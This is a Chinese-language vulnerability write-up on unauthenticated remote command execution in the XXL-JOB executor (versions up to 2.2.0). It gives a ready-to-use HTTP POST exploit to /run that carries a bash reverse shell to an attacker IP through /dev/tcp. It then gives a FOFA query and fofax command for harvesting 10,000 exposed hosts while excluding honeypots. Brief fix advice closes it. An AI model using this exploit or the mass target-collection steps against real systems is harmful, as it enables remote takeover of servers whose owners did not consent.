文章目录
- 漏洞描述
- 漏洞编号
- 漏洞评级
- 影响版本
- 漏洞复现
- - EXP 编写
- 漏洞挖掘
- 修复建议
漏洞描述
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。
该问题本质上不属于 “漏洞”,官网版本提供了鉴权组件,开启即可进行防护。
该问题类似于将一台Mysql、Redis实例,不设置密码并开放给公网,严格来说不能因此说Mysql、Redis有漏洞,只需要设置密码即可。
漏洞编号
无
漏洞评级
高危
影响版本
XXL-JOB <= 2.2.0
漏洞复现
复现环境与复现参考链接:https://vulhub.org/#/environments/xxl-job/unacc/
- EXP 编写
POST /run HTTP/1.1
Host: 目标IP:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 391
{
"jobId": 2,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/攻击者IP/攻击者监听端口 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
执行以上EXP之后,我们可以GetShell,如下图:
注意,我们编写的EXP只能用一次,如果第二次用其他命令就无法命令执行了,除非目标的服务重启,我们才能执行其他的命令,不然只能一直使用第一次用的EXP。
漏洞挖掘
fofa语法:
app="xxl-job" || icon_hash="1691956220" || title="任务调度中心"
批量收集资产:通过fofax工具,使用-e参数排除蜜罐干扰,然后通过fofa查找10000条数据并放入txt文件中
echo 'app="xxl-job" || icon_hash="1691956220" || title="任务调度中心"' | fofax -fs 10000 -e>xxl-job.txt
修复建议
- 1、开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可。
- 2、端口防护:及时更换默认的执行器端口,不建议直接将默认的9999端口开放到公网。
- 3、端口访问限制:通过配置安全组限制只允许指定IP才能访问执行器9999端口。